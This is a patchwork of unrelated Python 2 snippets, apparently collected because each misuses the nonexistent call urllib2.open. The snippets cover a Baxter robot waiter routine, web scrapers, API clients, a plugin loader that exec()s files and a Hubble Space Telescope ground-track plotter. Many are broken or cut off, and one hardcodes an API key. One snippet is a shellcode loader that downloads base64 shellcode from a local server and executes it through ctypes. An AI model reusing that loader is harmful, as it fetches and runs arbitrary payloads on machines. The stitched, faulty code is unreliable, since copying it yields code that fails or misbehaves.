currxyz, currori, compute_ik) currxyz = move(currxyz, (0, 0, .17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.close() currxyz = move(currxyz, (0, .5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src') os.system( 'rosrun cup_grabber joint_trajectory_file_playback.py -f left_starting_position' ) os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src') os.system( 'rosrun cup_grabber joint_trajectory_file_playback.py -f right_pouring' ) currxyz = move(currxyz, (0, -.5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.open() currxyz = move(currxyz, (0, 0, -.17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) ################ pick up bottle with '9' contents cup_tag_near_9 = get_closest_cup_tag(tag9, cup_tags) if cup_tag_near_9.tag_name == '3': currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z) curr = 3 elif cup_tag_near_9.tag_name == '4': currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z) curr = 4 elif cup_tag_near_9.tag_name == '5': currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z) curr = 5 currxyz = move(currxyz, (-.1, .1, -.1)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, 0, .17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.close() currxyz = move(currxyz, (0, .5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src') os.system( 'rosrun cup_grabber joint_trajectory_file_playback.py -f right_pouring' ) currxyz = move(currxyz, (0, -.5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.open() currxyz = move(currxyz, (0, 0, -.17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) ################ pick up bottle with '10' contents cup_tag_near_10 = get_closest_cup_tag(tag10, cup_tags) if cup_tag_near_10.tag_name == '3': currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z) curr = 3 elif cup_tag_near_10.tag_name == '4': currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z) curr = 4 elif cup_tag_near_10.tag_name == '5': currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z) curr = 5 currxyz = move(currxyz, (-.1, .1, -.1)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, 0, .17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.close() currxyz = move(currxyz, (0, .5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src') os.system( 'rosrun cup_grabber joint_trajectory_file_playback.py -f right_pouring' ) currxyz = move(currxyz, (0, -.5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.open() currxyz = move(currxyz, (0, 0, -.17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src') os.system('rosrun cup_grabber joint_trajectory_file_playback.py -f serve') os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src') os.system('rosrun cup_grabber joint_trajectory_file_playback.py -f dab')
def getdata(category): url = "http://api.nytimes.com/svc/search/v2/articlesearch/" + category + ".jsonp?callback=nyt_biz_news_cb&api-key=024b40b8c1e9ef1333054858a907a687:6:73721357" result = json.loads(urllib2.open(url).read()) return result
import urllib2 import simplejson url="http://www.amazon.com/s/ref=nb_sb_noss_2/185-5945162-0333204?url=search-alias%3Daps&field-keywords=laptop" if __name__ == "__main__": req = urllib2.Request(url) opener = urllib2.open(req) json = simplejson.load(f) for item in json: print item.get('id')
def recognize_image(url): # return '42' img = Image.open(urllib2.open(url).read()) return img.size
#check individual thesis pages i = 0 recs = [] for rec in prerecs: keepit = True i += 1 print '---{ %i/%i (%i) }---{ %s }------' % (i, len(prerecs), len(recs), rec['link']) try: artpage = BeautifulSoup(urllib2.urlopen(rec['link'], context=ctx), features="lxml") time.sleep(3) except: try: print "retry %s in 180 seconds" % (rec['link']) time.sleep(180) artpage = BeautifulSoup(urllib2.open(rec['link'], context=ctx), features="lxml") except: print "no access to %s" % (rec['link']) continue #first get author for meta in artpage.head.find_all('meta', attrs = {'name' : 'eprints.creators_name'}): rec['autaff'] = [[ meta['content'] ]] #affiliation for meta in artpage.head.find_all('meta', attrs = {'name' : 'eprints.divisions'}): if meta['content'] in divisionsdict.keys(): if meta['content'] in ['inst_50095', 'inst_50135', 'klips-14725', 'klips-14795']: rec['fc'] = 'm' elif meta['content'] in ['klips-14751']: rec['fc'] = 'c' rec['autaff'][-1].append(divisionsdict[ meta['content'] ]) else:
def add_news(self, accessToken, news): postUrl = "https://api.weixin.qq.com/cgi-bin/material/add_news?access_token=%s" % accessToken urlResp = urllib2.open(postUrl, news) print urlResp.read()
def downLoad(url): content=urllib2.open(url).read() name='[0-9]*\w.jpg'
def main(): tags = {} cup_tags = [] #Wait for the IK service to become available rospy.wait_for_service('compute_ik') rospy.init_node('service_query') #Define gripper objects right_gripper = baxter_gripper.Gripper('right') left_gripper = baxter_gripper.Gripper('left') right_gripper.calibrate() left_gripper.calibrate() #Create the function used to call the AR service compute_ik = rospy.ServiceProxy('compute_ik', GetPositionIK) rospy.wait_for_service('fixed_multi_service') get_ar = rospy.ServiceProxy('fixed_multi_service', ARPose) #Assgign cups to AR tags tag3 = get_ar(3) tag4 = get_ar(4) tag5 = get_ar(5) cup_tags.append(tag3) cup_tags.append(tag4) cup_tags.append(tag5) #Scan the enviroment: Get the closes cup to the right/left of respective AR tag #Return the cup tag closest to AR tag def get_closest_cup_tag(ar_tag, cup_tags): def dist(x1, y1, z1, x2, y2, z2): return (x1 - x2)**2 + (y1 - y2)**2 + (z1 - z2)**2 minDist = float('inf') minTag = None for T in cup_tags: d = dist(ar_tag.pos_x, ar_tag.pos_y, ar_tag.pos_z, T.pos_x, T.pos_y, T.pos_z) if d < minDist: minDist = d minTag = T return minTag # starting position os.system( 'rosrun cup_grabber joint_trajectory_file_playback.py -f starting_position' ) #Initialize joints left = baxter_interface.Limb('left') right = baxter_interface.Limb('right') grip_left = baxter_interface.Gripper('left', CHECK_VERSION) grip_right = baxter_interface.Gripper('right', CHECK_VERSION) lj = left.joint_names() rj = right.joint_names() # Return the tranlation motion def move(curr, trans): a = 14 * np.pi / 180 cx, cy, cz = curr tx, ty, tz = trans nz = tz * np.cos(a) - ty * np.sin(a) ny = tz * np.sin(a) + ty * np.cos(a) return (cx + tx, cy + ny, cz + nz) #################################### Sense the Environment ##################################### ####################################################### ################### Learning tag3 ##################### ####################################################### while tag3.tag_name == 'notfound': tag3 = get_ar(3) print 'tag3 not found' cup_tags[0] = tag3 currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z) # AR tag position currori = (-.083, -.02, -.697, .712) # AR tag orientation #Open gripper right_gripper.open() #Move behind cup position currxyz = move(currxyz, (-.1, .11, -.1)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) #Move to cup position currxyz = move(currxyz, (0, 0, .17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) #Grab cup right_gripper.close() #Lift cup up currxyz = move(currxyz, (0, .5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) #Move cup to the side to see Ar tag underneeth currxyz = move(currxyz, (-.2, 0, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) #Move back after seeing AR tag currxyz = move(currxyz, (.2, 0, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) #Put cup down currxyz = move(currxyz, (0, -.5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) #Leave cup back in place right_gripper.open() #Move back to behind cup position currxyz = move(currxyz, (0, 0, -.17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) # Initialize flavor tags tag8 = get_ar(8) tag9 = get_ar(9) tag10 = get_ar(10) # Check if flavor tags (underneeth cup) where found if tag8.tag_name != 'notfound': tags[8] = tag8 if tag9.tag_name != 'notfound': tags[9] = tag9 if tag10.tag_name != 'notfound': tags[10] = tag9 ####################################################### ################### Learning tag4 ##################### ####################################################### while tag4.tag_name == 'notfound': tag4 = get_ar(4) print 'tag4 not found' cup_tags[1] = tag4 currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z) currxyz = move(currxyz, (-.1, .11, -.1)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, 0, .17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.close() currxyz = move(currxyz, (0, .5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (-.2, 0, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (.2, 0, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, -.5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.open() currxyz = move(currxyz, (0, 0, -.17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) tag8 = get_ar(8) tag9 = get_ar(9) tag10 = get_ar(10) if tag8.tag_name != 'notfound': tags[8] = tag8 if tag9.tag_name != 'notfound': tags[9] = tag9 if tag10.tag_name != 'notfound': tags[10] = tag9 ####################################################### ################### Learning tag5 ##################### ####################################################### while tag5.tag_name == 'notfound': tag5 = get_ar(5) print 'tag5 not found' cup_tags[2] = tag5 currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z) currxyz = move(currxyz, (-.1, .1, -.1)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, 0, .17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.close() currxyz = move(currxyz, (0, .5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (-.2, 0, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (.2, 0, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, -.5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.open() currxyz = move(currxyz, (0, 0, -.17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) tag8 = get_ar(8) tag9 = get_ar(9) tag10 = get_ar(10) if tag8.tag_name != 'notfound': tags[8] = tag8 if tag9.tag_name != 'notfound': tags[9] = tag9 if tag10.tag_name != 'notfound': tags[10] = tag9 #################################### Done sensing the environment #################################### ## Ping server to scan order and command Baxter to make the corresoponding drink order = urllib2.open('http://baxterorder.herokuapp.com/getorder').read() print order raw_input('continue with making order!') ################ Pick up bottle with '8' contents cup_tag_near_8 = get_closest_cup_tag(tag8, cup_tags) curr = None if cup_tag_near_8.tag_name == '3': currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z) curr = 3 elif cup_tag_near_8.tag_name == '4': currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z) curr = 4 elif cup_tag_near_8.tag_name == '5': currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z) curr = 5 currxyz = move(currxyz, (-.1, .1, -.1)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, 0, .17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.close() currxyz = move(currxyz, (0, .5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src') os.system( 'rosrun cup_grabber joint_trajectory_file_playback.py -f left_starting_position' ) os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src') os.system( 'rosrun cup_grabber joint_trajectory_file_playback.py -f right_pouring' ) currxyz = move(currxyz, (0, -.5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.open() currxyz = move(currxyz, (0, 0, -.17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) ################ Pick up bottle with '9' contents cup_tag_near_9 = get_closest_cup_tag(tag9, cup_tags) if cup_tag_near_9.tag_name == '3': currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z) curr = 3 elif cup_tag_near_9.tag_name == '4': currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z) curr = 4 elif cup_tag_near_9.tag_name == '5': currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z) curr = 5 currxyz = move(currxyz, (-.1, .1, -.1)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, 0, .17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.close() currxyz = move(currxyz, (0, .5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src') os.system( 'rosrun cup_grabber joint_trajectory_file_playback.py -f right_pouring' ) currxyz = move(currxyz, (0, -.5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.open() currxyz = move(currxyz, (0, 0, -.17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) ################ Pick up bottle with '10' contents cup_tag_near_10 = get_closest_cup_tag(tag10, cup_tags) if cup_tag_near_10.tag_name == '3': currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z) curr = 3 elif cup_tag_near_10.tag_name == '4': currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z) curr = 4 elif cup_tag_near_10.tag_name == '5': currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z) curr = 5 currxyz = move(currxyz, (-.1, .1, -.1)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) currxyz = move(currxyz, (0, 0, .17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.close() currxyz = move(currxyz, (0, .5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src') os.system( 'rosrun cup_grabber joint_trajectory_file_playback.py -f right_pouring' ) currxyz = move(currxyz, (0, -.5, 0)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) right_gripper.open() currxyz = move(currxyz, (0, 0, -.17)) requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik) ## After picking up bottles, command Baxter to serve drinks os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src') os.system('rosrun cup_grabber joint_trajectory_file_playback.py -f serve') os.system('cd ~/Desktop/baxter-waiter/src/cup_grabber/src') os.system('rosrun cup_grabber joint_trajectory_file_playback.py -f dab')
import urllib2 import ctypes import base64 #Download shellcode from server url = "http://localhost:8000/shellcode.bin" response = urllib2.open(url) #decode the shellcode shellcode = base64.b64decode(response.read()) #create buffer shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) #Function pointer to the shellcode shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p)) #invoke shellcode_func()
def get_google_map_tile(): urllib2.open() return None
translation=translation[:end_idx] import simplejson # apiKey = 'google api key goes here' url = ('http://ajax.googleapis.com/ajax/services/language/translate' '?v=1.0&q=bonjour&userip=142.103.47.18&hl=en&langpair=fr%7Cen') referer = 'Referer url' request = urllib2.Request( url, None, {'Referer': referer}) response = urllib2.urlopen(request) # Process the JSON string. results = simplejson.load(response) # now have some fun with the results... page = urllib2.open(http://www.fao.org/fi/oldsite/FCP/fr/BEN/body.htm) url = ('http://ajax.googleapis.com/ajax/services/language/translate?key=' + apiKey+page) ''' soupHomepage = BeautifulSoup(urllib2.urlopen(Homepage)) lstLinks = soupHomepage.findAll(href=re.compile("/fi/website/FIRetrieveAction.do?")) for link in lstLinks: #stripLink = string.strip(str(link)) line = str(link) start = string.find(line, "<a href=")+9 end = string.find(line, "\">")
return "<script>top.location.href='" + dialog_url + "'</script>" else: graph = GraphAPI() response = graph.get( path='oauth/access_token', client_id=app_id, client_secret=app_secret, redirect_uri=post_login_url, code=code ) data = parse_qs(response) graph = GraphAPI(data['access_token'][0]) graph.post(path = 'me/feed', message = 'Your message here') """ #def post (): # post an item to the graph API import urllib2 """ urllib2.open() -> function to open any url urllib2.parse() -> function to pass a query urllib2.request()-> function to get http """ for pg in iter_page(id) if msg=='happy birthday' post('STATUS/ID',message:'thank you')
#!/usr/bin/env python import urllib2 properties = {} properties['protocol'] = 'http' properties['host'] = 'www.google.com' properties['port'] = '80' properties['path'] = '/trends/' #the properties in this map represent the URL: #http://www.google.com:80/trends/ url = properties['protocol'] + '://' + \ properties['host'] + ':' + \ properties['port'] + \ properties['path'] print 'Reading URL', url # ERROR IN THIS LINE !!!!! response = urllib2.open(url) print response.read()
print the_page ##发送data表单数据(post) url = 'http://www.someserver.com/register.cgi' values = {'name': 'why', 'loaction': 'SDU', 'language': 'python'} data = urllib.urlencode(values) #编码工作 req = urllib2.Request(url, data) #发送请求同时传data表单 response = urllib2.urlopen(req) #接受反馈的信息 the_page = response.read() #读取反馈的内容 ##发送data表单数据(GET) import urllib2, urllib data = {} data = ['name'] = 'WHY' data = ['location'] = 'SDU' data = ['language'] = 'Python' url_values = urllib.urlencode(data) print url_values url = 'http://www.example.com/example.cgi' full_url = url + '?' + url_values data = urllib2.open(full_url) ##设置Header到HTTP请求,不可用,但原理可借鉴(重要,模拟浏览器) import urllib, urllib2 url = 'http://www.somesever.com/cegi-bin/register,cgi' user_agent = 'Mozilla/4.0(compatible;MSIE 5.5;Windows NT)' values = {'name': 'WHY', 'location': 'SDU', 'language': 'Python'} ##不一定需要 headers = {'user-Agent': user_agent} data = urllib.urlencode(values) req = urllib2.Request(url, data, headers) respnse = urllib2.uropen(req) the_page = resopnse.read()
def incluir(self,data={},widget="",modulo="plugin"): if data=={}: data=self.plugin.data plugin=self.plugin.plugin from modulos.ztec.zred import decode from modulos.ztec.intervalor.control import generar2 if widget!="": from config import config import os self.widget=widget if modulo!="plugin": if modulo=="admin": from settings import config as settings from settings import routes self.ruta=config.base_root+config.apps_folder+settings.app+"/admin/"+routes.vistas_folder+routes.widgets_folder elif modulo=="user": self.ruta=config.base_root+config.apps_folder+settings.app+"/user/"+routes.vistas_folder+routes.widgets_folder elif modulo=="global": self.ruta=config.base_root+config.vistas_folder+config.widgets_folder if os.path.exists(self.ruta+self.widget+".html"): generar2(self.ruta+self.widget+".html",self.ruta+self.widget+".py","# -*- coding: utf-8 -*-\n") elif os.path.exists(self.ruta+self.widget+"/"+self.widget+".html"): self.ruta+=self.widget plugin.widget_base_url+=self.widget+"/" plugin.widget_url=plugin.widget_base_url+self.widget+".html" generar2(self.ruta+self.widget+".html",self.ruta+self.widget+".py","# -*- coding: utf-8 -*-\n") incluir=self.incluir if data["app"]!=None: from settings import config as settings from settings import routes if self.widget!=None: import os,urllib2,urllib from modulos.ztec.zu import filtrar_datos_planos from modulos.ztec.intervalor.control import generar3 from config import config plugin.widget_base_url=config.base_url+config.plugins_folder+plugin.name+"/"+plugin.widgets_folder if os.path.exists(self.ruta+self.widget+".py"): f=open(self.ruta+self.widget+".py") script=f.read() f.close() doc="" try: exec(script) return doc except Exception as e: return str(e) elif os.path.exists(self.ruta+self.widget+"/"+self.widget+".py"): plugin.widget_base_url+=self.widget f=open(self.ruta+self.widget+"/"+self.widget+".py") script=f.read() f.close() doc="" try: exec(script) return doc except Exception as e: return str(e) elif self.embebed=="php" and os.path.exists(self.ruta+self.widget+".php"): params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)}) f=urllib2.urlopen(self.url+self.widget+".php",params) return f.read() elif self.embebed=="rb" and os.path.exists(self.ruta+self.widget+".html.rb"): params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)}) generar3(self.ruta+self.widget+".html.rb",self.ruta+self.widget+".rb",formatear_rb,'#!/usr/bin/env ruby\nputs "Content-type: text/html\\n\\n"\n') f=urllib2.urlopen(self.url+self.widget+".rb",params) return f.read() elif self.embebed=="pl" and os.path.exists(self.ruta+self.widget+".html.pl"): params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)}) generar3(self.ruta+self.widget+".html.pl",self.ruta+self.widget+".pl",formatear_pl,'#!/usr/bin/env perl\nprint "Content-type: text/html\\n\\n";\n') f=urllib2.urlopen(self.url+self.widget+".pl",params) return f.read() elif self.embebed=="sh" and os.path.exists(self.ruta+self.widget+".html.sh"): params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)}) generar3(self.ruta+self.widget+".html.sh",self.ruta+self.widget+".sh",'#!/usr/bin/env sh\necho "Content-type: text/html\\n\\n";\n') f=urllib2.open(self.url+self.widget+".sh",params) return f.read() elif self.embebed=="asp" and os.path.exists(self.ruta+self.widget+".html.asp"): """ Necesitara de un servidor la extencion es ficticia """ params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)}) generar3(self.ruta+self.widget+".html.sh",self.ruta+self.widget+".sh","#!/usr/bin/env asp\n") f=urllib2.open(self.url+self.widget+".sh",params) return f.read() elif self.embebed=="cpp" and os.path.exists(self.ruta+self.widget+".htm.cpp"): """ Necesitara de un servidor la extencion es ficticia """ params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)}) generar3(self.ruta+self.widget+".html.cpp",self.ruta+self.widget+".cpp","#!/usr/bin/env cpp\n") f=urllib2.open(self.url+self.widget+".cpp",params) return f.read() elif self.embebed=="go" and os.path.exists(self.ruta+self.widget+".go"): """ Necesitara de un servidor la extencion es ficticia """ params=urllib.urlencode({"data":filtrar_datos_planos(self.plugin.data)}) f=urllib3.open(self.url+self.widget+".go",params) return f.read()
def plotContoursOverHSTTrack(data, hst_start, hst_stop, tlefile, ephemerisOnline = False, SAA_zoomed = False, hold_on = False): num_points = int((hst_stop - hst_start)/ephem.minute) + 1 # Read in the HST Two-Line ephemeris if ephemerisOnline: import urllib2 hand = urllib2.open('http://celestrak.com/NORAD/elements/science.txt') data = hand.readlines() hand.close() HST = [[d[val], d[val+1], d[val+2]] for val, line in enumerate(d) if 'HST' in line] hst = ephem.readtle(string.strip(HST[0][0]), string.strip(HST[0][1]), string.strip(HST[0][2])) else: temp = open(tlefile, 'r').readlines() hst = ephem.readtle(string.strip(temp[0]), string.strip(temp[1]), string.strip(temp[2])) cur_time = hst_start hst_longs = [] hst_lats = [] for i in range(0,num_points): hst.compute(cur_time) hst_longs.append(hst.sublong.znorm*180.0/math.pi) hst_lats.append(hst.sublat*180.0/math.pi) cur_time = cur_time + ephem.minute hst_longs = N.array(hst_longs) hst_lats = N.array(hst_lats) #projection lon_0 = 335 lat_0 = -20 llcrnrlat = -60 llcrnrlon = -100 urcrnrlat = 20 urcrnrlon = 60 # use these values to setup Basemap instance. width = 14000000 height = 10000000 #SAA if SAA_zoomed: m = Basemap(width = width, height = height, resolution = 'c', projection = 'aeqd', lat_0 = lat_0, lon_0 = lon_0) sz = 100 else: m = Basemap(resolution='c', projection='mbtfpq', lon_0 = lon_0) sz = 35 #OTHER PROJECTIONS # crashed? #m = Basemap(resolution='c', projection='aeqd', lat_0 = lat_0, lon_0 = lon_0) # Full map, good #m = Basemap(resolution='c', projection='mbtfpq', lon_0 = lon_0) # Full map, diff projection #m = Basemap(resolution='c', projection='moll', lon_0 = lon_0) # Globe, SAA well presented #m = Basemap(resolution='c', projection='ortho', lon_0 = lon_0, lat_0 = lat_0) # Square, SAA well presented. #m = Basemap(resolution='c',projection='cyl',llcrnrlat=llcrnrlat,llcrnrlon=llcrnrlon,urcrnrlat=urcrnrlat,urcrnrlon=urcrnrlon) p = FontProperties() font1 = p.copy() font1.set_size('small') # draw coasts and fill continents. m.drawcoastlines(linewidth = 0.5) #m.fillcontinents() m.drawparallels(arange(-80,81,10),labels=[1,1,0,0],fontproperties=font1,labelstyle="+/-") m.drawmeridians(arange(-180,180,20),labels=[0,0,0,1],fontproperties=font1,labelstyle="+/-") m.bluemarble() m.drawmapboundary() # SAA 02 x2,y2 = m([357.4-360,357.6-360,356.9-360,355.0-360,352.3-360,348.7-360,342.9-360,336.4-360,324.8-360,303.2-360,292.1-360,289.0-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360,357.4-360], \ [-28.3,-26.1,-23.7,-21.2,-18.8,-16.3,-13.0,-10.6, -9.1,-11.9,-14.9,-17.0,-19.1,-21.3,-23.7,-26.0,-28.6,-28.3]) # SAA 03 x3,y3 = m([ 20.0, 21.0, 19.0, 7.5,347.0-360,336.4-360,324.8-360,303.2-360,292.1-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360, 20.0], \ [-28.3,-27.5,-26.1,-19.8, -9.6, -7.6, -6.0, -7.9,-12.0,-17.1,-20.3,-23.5,-26.0,-28.6,-28.3]) # SAA 04 x4,y4 = m([ 25.0, 7.0,351.0-360,341.0-360,318.0-360,300.0-360,290.0-360,284.0-360,278.0-360,273.0-360,275.0-360, 25.0], \ [-28.5,-16.0, -6.5, -2.0, 1.0, -3.0, -7.0,-10.0,-15.0,-20.0,-30.0,-28.5]) # SAA 05,23 x5,y5 = m([300.0-360, 45.0, 40.0, 30.0, 10.0, 0.0,341.0-360,318.0-360,300.0-360,283.0-360,273.0-360,275.0-360,300.0-360], \ [-50.0,-30.0,-25.0,-21.0,-15.0,-10.2, -2.0, 1.0, -3.0, -8.0,-20.0,-30.0,-50.0]) # SAA 06 x6,y6 = m([ 20.0, 21.0, 19.0, 7.5,347.0-360,336.4-360,324.8-360,303.2-360,292.1-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360, 20.0], \ [-28.3,-27.5,-26.1,-19.8, -9.6, -7.6, -6.0, -7.9,-12.0,-17.1,-20.3,-23.5,-26.0,-28.6,-28.3]) #SAA saa02 = m.plot(x2,y2,marker='D',markersize=4.0,markeredgewidth=0.0,color='turquoise',linestyle='-',label='02') saa03 = m.plot(x3,y3,marker='v',markersize=4.0,markeredgewidth=0.0,color='white',linestyle='-',label='03') saa04 = m.plot(x4,y4,marker='^',markersize=4.0,markeredgewidth=0.0,color='orange',linestyle='-',label='04') saa05 = m.plot(x5,y5,marker='s',markersize=4.0,markeredgewidth=0.0,color='green',linestyle='-',label='05') saa06 = m.plot(x6,y6,marker='x',markersize=4.0,markeredgewidth=1.0,color='magenta',linestyle='-',label='06') # HST observation ground track xhst, yhst = m(hst_longs, hst_lats) #hst = m.plot(xhst,yhst,marker='+',markersize=4.0,markeredgewidth=1.0,color='red',linestyle='-',linewidth=0.7,label='hst') #scatter plot if hold_on: scatter = m.scatter(xhst[:-1], yhst[:-1], s = sz, c = data, cmap = cm.jet, linestyle = 'solid', zorder = 11, hold = 'on') else: fig = P.figure(1) points = N.array([xhst, yhst]).T.reshape(-1, 1, 2) segments = N.concatenate([points[:-1], points[1:]], axis=1) ax = P.axes() lc = LineCollection(segments, cmap = P.get_cmap('jet'), norm = P.Normalize(0, 10000)) lc.set_array(data) lc.set_linewidth(5) ax.add_collection(lc) axcb = fig.colorbar(lc) axcb.set_label('EVENTS') #contour plot #cs = m.contour(xhst, yhst, data, 15, linewidths = 1.5) #mx = N.max(data) #cbar = map.colorbar(s, ticks=[N.max(data), mx//2., mx], orientation='vertical') hst_label = 'HST once per minute' font = p.copy() #font.set_size('xx-small') font.set_size('small') leg=legend((saa02,saa03,saa04,saa05,saa06,hst), \ ('PASS SAA Level 1 - FGS Guidance & STIS LV', \ 'PASS SAA Level 2 - STIS', \ 'PASS SAA Level 3 - ACS & WFC3', \ 'PASS SAA Level 4 - Astrometry & NICMOS', \ 'PASS SAA Level 5 - COS', \ hst_label), \ prop=font,numpoints=2,borderpad=0.3,loc='upper center',borderaxespad=0.0,ncol=2) leg.get_frame().set_alpha(0.7) # draw the title. P.title('HST from %s to %s' % (str(arg1),str(arg2))) if hold_on == False: P.show()
import urllib2 import simplejson url = "http://www.amazon.com/s/ref=nb_sb_noss_2/185-5945162-0333204?url=search-alias%3Daps&field-keywords=laptop" if __name__ == "__main__": req = urllib2.Request(url) opener = urllib2.open(req) json = simplejson.load(f) for item in json: print item.get('id')
#import urllib2 from urllib2 import urlopen as open from urllib2 import Request as req from bs4 import BeautifulSoup as soup import lxmlheaders={ "User-Agent":agent } url='https://www.google.com/search?q=pangolin' #"User-Agent":agent html=req(url, headers=headers) try: gold=open(html); page_soup=soup(gold, "lxml") h3s=page_soup.findAll("h3", {"class":"r"}) for h3 in h3s: gold=h3.a print gold.text except urllib2HTTPError, e: print "HTTP error:", e.code exit(1)
import pcap import dpkt import urllib2 import urllib data = {} data['name'] = 'WHY' data['location'] = 'SDU' data['language'] = 'Python' url_values = urllib.urlencode(data) print url_values #name=Somebody+Here&language=Python&location=Northampton url = 'http://www.example.com/example.cgi' full_url = url + '?' + url_values data = urllib2.open(full_url)
import urllib2 import json url_data = 'https://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/2.5_day.geojson' # Open the url and read the data webUrl = urllib2.open(url_data) if (webUrl.getCode() == 200): data = webUrl.read()
def testpage(): data1 = urllib2.open('https://api.wheretheiss.at/v1/satellites/25544') print data1 data2 = json.loads(data1) print data2
